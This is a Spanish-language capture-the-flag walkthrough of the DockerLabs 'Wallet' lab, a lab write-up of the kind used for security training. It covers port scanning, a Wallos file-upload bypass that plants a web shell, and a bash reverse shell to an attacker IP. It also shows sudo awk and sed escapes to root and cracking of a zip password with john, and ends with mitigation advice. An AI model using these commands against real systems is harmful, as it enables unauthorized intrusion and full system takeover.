Wallet
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Wallet, desarrollada por Pylon & El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone una aplicación web vulnerable que utiliza una versión específica del gestor Wallos, la cual presenta una vulnerabilidad de carga arbitraria de archivos que permite el despliegue de una web shell. A partir de esta, se obtiene ejecución remota de comandos como el usuario www-data.
Tras el acceso inicial, se encadenan múltiples configuraciones inseguras de sudo, permitiendo la ejecución de binarios como otros usuarios sin autenticación adicional, lo que facilita una escalada de privilegios progresiva hasta obtener acceso completo como root.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Wallet |
| Autor | Pylon & El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 12/07/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Wallet.zipsudo bash auto_deploy.sh Wallet.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Wallet/{content,exploits,nmap,scripts}cd WalletPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra los siguientes servicios accesibles externamente:
- 22/tcp — SSH
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Al acceder al servicio web, se identifica un dominio virtual utilizado por la aplicación:
panel.wallet.dlPor lo tanto, se agrega la entrada correspondiente al archivo /etc/hosts.
Se procede a realizar fuzzing de rutas y archivos:
feroxbuster -u http://panel.wallet.dl \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404
Durante la enumeración se identifican los siguientes recursos relevantes:
-
login.php Redirige automáticamente al formulario de autenticación.
-
about.php Contiene información sensible, incluyendo la versión exacta de Wallos.

Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Con la versión identificada, se realiza una búsqueda en searchsploit, encontrando una vulnerabilidad relacionada con carga arbitraria de archivos:

El exploit requiere:
- Crear una cuenta válida.
- Añadir una suscripción.
- Manipular la subida del logo para cargar una web shell, alterando el
Content-Type.
Ejemplo de modificación de la petición:
Content-Type: image/jpegGIF89a;A continuación, se inserta el código de la web shell.
El archivo queda accesible en la siguiente ruta:
http://panel.wallet.dl/images/uploads/logos/
Se prueba la ejecución con el comando id:

Tras confirmar la ejecución de comandos, se establece una reverse shell. Primero se inicia el listener:
nc -nlvp 443Luego se ejecuta el payload desde la web shell:
bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"Conexión establecida exitosamente:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → pylon
Sección titulada «3.1 De www-data → pylon»Se listan los privilegios disponibles:

El usuario www-data puede ejecutar awk como el usuario pylon.
Se abusa de esta configuración para obtener una shell:
sudo -u pylon awk 'BEGIN {system("/bin/bash")}'Acceso obtenido como pylon:

3.2 De pylon → pinguino
Sección titulada «3.2 De pylon → pinguino»En el directorio home se encuentra el archivo:
secretitotraviesito.zip
Al estar protegido por contraseña, se extrae el archivo utilizando base64:
base64 secretitotraviesito.zipEn la máquina atacante:
echo "base64 chain" > tempcat temp | base64 -d | tee secretitotraviesito.zipSe crackea la contraseña con john:
zip2john secretitotraviesito.zip | tee hashjohn --wordlist=/usr/share/wordlists/rockyou.txt hash
El archivo notitachingona.txt contiene las credenciales del usuario pinguino, permitiendo el cambio de usuario:

3.3 De pinguino → root
Sección titulada «3.3 De pinguino → root»Se revisan los privilegios sudo:

El usuario puede ejecutar sed como root.
Se explota esta configuración para obtener una shell privilegiada:
sudo sed -n '1e exec bash 1>&0' /etc/hostsAcceso como root obtenido:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Carga arbitraria de archivos en Wallos | Crítica | Ejecución remota de comandos |
| Exposición de versión del software | Media | Explotación dirigida |
| Uso de web shells sin validación | Crítica | Compromiso inicial del sistema |
Configuraciones inseguras de sudo | Crítica | Escalada de privilegios |
| Almacenamiento inseguro de credenciales | Alta | Compromiso de múltiples usuarios |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Restringir la carga de archivos y validar correctamente el tipo MIME.
- Evitar la exposición de versiones de software en producción.
- Aplicar el principio de mínimo privilegio en configuraciones
sudo. - Proteger archivos sensibles y evitar reutilización de credenciales.
- Auditar periódicamente servicios web y configuraciones del sistema.